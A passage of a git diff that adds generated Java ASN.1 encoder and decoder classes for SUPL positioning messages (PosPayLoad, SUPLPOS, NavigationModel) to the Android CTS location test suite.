+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_pos;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions.Ver2_PosPayLoad_extension;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PosPayLoad extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_PosPayLoad
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "PosPayLoad: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public PosPayLoad() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PosPayLoad;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PosPayLoad != null) {
+ return ImmutableList.of(TAG_PosPayLoad);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new PosPayLoad from encoded stream.
+ */
+ public static PosPayLoad fromPerUnaligned(byte[] encodedBytes) {
+ PosPayLoad result = new PosPayLoad();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PosPayLoad from encoded stream.
+ */
+ public static PosPayLoad fromPerAligned(byte[] encodedBytes) {
+ PosPayLoad result = new PosPayLoad();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Tia801payload(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new PosPayLoad.tia801payloadType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosPayLoad.tia801payloadType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $RrcPayload(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new PosPayLoad.rrcPayloadType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosPayLoad.rrcPayloadType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $RrlpPayload(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new PosPayLoad.rrlpPayloadType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosPayLoad.rrlpPayloadType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class tia801payloadType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_tia801payloadType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tia801payloadType() {
+ super();
+ setMinSize(1);
+setMaxSize(8192);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tia801payloadType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tia801payloadType != null) {
+ return ImmutableList.of(TAG_tia801payloadType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tia801payloadType from encoded stream.
+ */
+ public static tia801payloadType fromPerUnaligned(byte[] encodedBytes) {
+ tia801payloadType result = new tia801payloadType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tia801payloadType from encoded stream.
+ */
+ public static tia801payloadType fromPerAligned(byte[] encodedBytes) {
+ tia801payloadType result = new tia801payloadType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "tia801payloadType";
+ }
+}
+
+
+ public boolean isTia801payload() {
+ return !hasExtensionValue() && Select.$Tia801payload == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isTia801payload}.
+ */
+ @SuppressWarnings("unchecked")
+ public PosPayLoad.tia801payloadType getTia801payload() {
+ if (!isTia801payload()) {
+ throw new IllegalStateException("PosPayLoad value not a Tia801payload");
+ }
+ return (PosPayLoad.tia801payloadType) element;
+ }
+
+ public void setTia801payload(PosPayLoad.tia801payloadType selected) {
+ selection = Select.$Tia801payload;
+ extension = false;
+ element = selected;
+ }
+
+ public PosPayLoad.tia801payloadType setTia801payloadToNewInstance() {
+ PosPayLoad.tia801payloadType element = new PosPayLoad.tia801payloadType();
+ setTia801payload(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rrcPayloadType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_rrcPayloadType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rrcPayloadType() {
+ super();
+ setMinSize(1);
+setMaxSize(8192);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rrcPayloadType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rrcPayloadType != null) {
+ return ImmutableList.of(TAG_rrcPayloadType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rrcPayloadType from encoded stream.
+ */
+ public static rrcPayloadType fromPerUnaligned(byte[] encodedBytes) {
+ rrcPayloadType result = new rrcPayloadType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rrcPayloadType from encoded stream.
+ */
+ public static rrcPayloadType fromPerAligned(byte[] encodedBytes) {
+ rrcPayloadType result = new rrcPayloadType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "rrcPayloadType";
+ }
+}
+
+
+ public boolean isRrcPayload() {
+ return !hasExtensionValue() && Select.$RrcPayload == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isRrcPayload}.
+ */
+ @SuppressWarnings("unchecked")
+ public PosPayLoad.rrcPayloadType getRrcPayload() {
+ if (!isRrcPayload()) {
+ throw new IllegalStateException("PosPayLoad value not a RrcPayload");
+ }
+ return (PosPayLoad.rrcPayloadType) element;
+ }
+
+ public void setRrcPayload(PosPayLoad.rrcPayloadType selected) {
+ selection = Select.$RrcPayload;
+ extension = false;
+ element = selected;
+ }
+
+ public PosPayLoad.rrcPayloadType setRrcPayloadToNewInstance() {
+ PosPayLoad.rrcPayloadType element = new PosPayLoad.rrcPayloadType();
+ setRrcPayload(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rrlpPayloadType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_rrlpPayloadType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rrlpPayloadType() {
+ super();
+ setMinSize(1);
+setMaxSize(8192);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rrlpPayloadType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rrlpPayloadType != null) {
+ return ImmutableList.of(TAG_rrlpPayloadType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rrlpPayloadType from encoded stream.
+ */
+ public static rrlpPayloadType fromPerUnaligned(byte[] encodedBytes) {
+ rrlpPayloadType result = new rrlpPayloadType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rrlpPayloadType from encoded stream.
+ */
+ public static rrlpPayloadType fromPerAligned(byte[] encodedBytes) {
+ rrlpPayloadType result = new rrlpPayloadType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "rrlpPayloadType";
+ }
+}
+
+
+ public boolean isRrlpPayload() {
+ return !hasExtensionValue() && Select.$RrlpPayload == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isRrlpPayload}.
+ */
+ @SuppressWarnings("unchecked")
+ public PosPayLoad.rrlpPayloadType getRrlpPayload() {
+ if (!isRrlpPayload()) {
+ throw new IllegalStateException("PosPayLoad value not a RrlpPayload");
+ }
+ return (PosPayLoad.rrlpPayloadType) element;
+ }
+
+ public void setRrlpPayload(PosPayLoad.rrlpPayloadType selected) {
+ selection = Select.$RrlpPayload;
+ extension = false;
+ element = selected;
+ }
+
+ public PosPayLoad.rrlpPayloadType setRrlpPayloadToNewInstance() {
+ PosPayLoad.rrlpPayloadType element = new PosPayLoad.rrlpPayloadType();
+ setRrlpPayload(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ $Ver2_PosPayLoad_extension(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Ver2_PosPayLoad_extension();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Ver2_PosPayLoad_extension) element).toIndentedString(indent);
+ }
+ },
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+
+ public boolean isExtensionVer2_PosPayLoad_extension() {
+ return hasExtensionValue() && Extend.$Ver2_PosPayLoad_extension == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isVer2_PosPayLoad_extension}.
+ */
+ @SuppressWarnings("unchecked")
+ public Ver2_PosPayLoad_extension getExtensionVer2_PosPayLoad_extension() {
+ if (!isExtensionVer2_PosPayLoad_extension()) {
+ throw new IllegalStateException("PosPayLoad value not a Ver2_PosPayLoad_extension");
+ }
+ return (Ver2_PosPayLoad_extension) element;
+ }
+
+ public void setExtensionVer2_PosPayLoad_extension(Ver2_PosPayLoad_extension selected) {
+ selection = Extend.$Ver2_PosPayLoad_extension;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionVer2_PosPayLoad_extensionToNewInstance() {
+ Ver2_PosPayLoad_extension element = new Ver2_PosPayLoad_extension();
+ setExtensionVer2_PosPayLoad_extension(element);
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "PosPayLoad = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/SUPLPOS.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/SUPLPOS.java
new file mode 100755
index 0000000..620fcb8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/SUPLPOS.java
@@ -0,0 +1,346 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_pos;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.Velocity;
+import android.location.cts.asn1.supl2.ulp_version_2_message_extensions.Ver2_SUPL_POS_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SUPLPOS extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SUPLPOS
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SUPLPOS() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SUPLPOS;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SUPLPOS != null) {
+ return ImmutableList.of(TAG_SUPLPOS);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SUPLPOS from encoded stream.
+ */
+ public static SUPLPOS fromPerUnaligned(byte[] encodedBytes) {
+ SUPLPOS result = new SUPLPOS();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SUPLPOS from encoded stream.
+ */
+ public static SUPLPOS fromPerAligned(byte[] encodedBytes) {
+ SUPLPOS result = new SUPLPOS();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PosPayLoad posPayLoad_;
+ public PosPayLoad getPosPayLoad() {
+ return posPayLoad_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosPayLoad
+ */
+ public void setPosPayLoad(Asn1Object value) {
+ this.posPayLoad_ = (PosPayLoad) value;
+ }
+ public PosPayLoad setPosPayLoadToNewInstance() {
+ posPayLoad_ = new PosPayLoad();
+ return posPayLoad_;
+ }
+
+ private Velocity velocity_;
+ public Velocity getVelocity() {
+ return velocity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Velocity
+ */
+ public void setVelocity(Asn1Object value) {
+ this.velocity_ = (Velocity) value;
+ }
+ public Velocity setVelocityToNewInstance() {
+ velocity_ = new Velocity();
+ return velocity_;
+ }
+
+
+
+ private Ver2_SUPL_POS_extension extensionVer2_SUPL_POS_extension;
+ public Ver2_SUPL_POS_extension getExtensionVer2_SUPL_POS_extension() {
+ return extensionVer2_SUPL_POS_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_SUPL_POS_extension
+ */
+ public void setExtensionVer2_SUPL_POS_extension(Asn1Object value) {
+ extensionVer2_SUPL_POS_extension = (Ver2_SUPL_POS_extension) value;
+ }
+ public void setExtensionVer2_SUPL_POS_extensionToNewInstance() {
+ extensionVer2_SUPL_POS_extension = new Ver2_SUPL_POS_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosPayLoad() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosPayLoad();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosPayLoadToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosPayLoad.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posPayLoad : "
+ + getPosPayLoad().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getVelocity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVelocity();
+ }
+
+ @Override public void setToNewInstance() {
+ setVelocityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Velocity.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "velocity : "
+ + getVelocity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_SUPL_POS_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_SUPL_POS_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_SUPL_POS_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_SUPL_POS_extension : "
+ + getExtensionVer2_SUPL_POS_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SUPLPOS = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/NavigationModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/NavigationModel.java
new file mode 100755
index 0000000..d6359a3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/NavigationModel.java
@@ -0,0 +1,789 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_pos_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NavigationModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NavigationModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NavigationModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NavigationModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NavigationModel != null) {
+ return ImmutableList.of(TAG_NavigationModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NavigationModel from encoded stream.
+ */
+ public static NavigationModel fromPerUnaligned(byte[] encodedBytes) {
+ NavigationModel result = new NavigationModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NavigationModel from encoded stream.
+ */
+ public static NavigationModel fromPerAligned(byte[] encodedBytes) {
+ NavigationModel result = new NavigationModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NavigationModel.gpsWeekType gpsWeek_;
+ public NavigationModel.gpsWeekType getGpsWeek() {
+ return gpsWeek_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavigationModel.gpsWeekType
+ */
+ public void setGpsWeek(Asn1Object value) {
+ this.gpsWeek_ = (NavigationModel.gpsWeekType) value;
+ }
+ public NavigationModel.gpsWeekType setGpsWeekToNewInstance() {
+ gpsWeek_ = new NavigationModel.gpsWeekType();
+ return gpsWeek_;
+ }
+
+ private NavigationModel.gpsToeType gpsToe_;
+ public NavigationModel.gpsToeType getGpsToe() {
+ return gpsToe_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavigationModel.gpsToeType
+ */
+ public void setGpsToe(Asn1Object value) {
+ this.gpsToe_ = (NavigationModel.gpsToeType) value;
+ }
+ public NavigationModel.gpsToeType setGpsToeToNewInstance() {
+ gpsToe_ = new NavigationModel.gpsToeType();
+ return gpsToe_;
+ }
+
+ private NavigationModel.nSATType nSAT_;
+ public NavigationModel.nSATType getNSAT() {
+ return nSAT_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavigationModel.nSATType
+ */
+ public void setNSAT(Asn1Object value) {
+ this.nSAT_ = (NavigationModel.nSATType) value;
+ }
+ public NavigationModel.nSATType setNSATToNewInstance() {
+ nSAT_ = new NavigationModel.nSATType();
+ return nSAT_;
+ }
+
+ private NavigationModel.toeLimitType toeLimit_;
+ public NavigationModel.toeLimitType getToeLimit() {
+ return toeLimit_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavigationModel.toeLimitType
+ */
+ public void setToeLimit(Asn1Object value) {
+ this.toeLimit_ = (NavigationModel.toeLimitType) value;
+ }
+ public NavigationModel.toeLimitType setToeLimitToNewInstance() {
+ toeLimit_ = new NavigationModel.toeLimitType();
+ return toeLimit_;
+ }
+
+ private SatelliteInfo satInfo_;
+ public SatelliteInfo getSatInfo() {
+ return satInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteInfo
+ */
+ public void setSatInfo(Asn1Object value) {
+ this.satInfo_ = (SatelliteInfo) value;
+ }
+ public SatelliteInfo setSatInfoToNewInstance() {
+ satInfo_ = new SatelliteInfo();
+ return satInfo_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
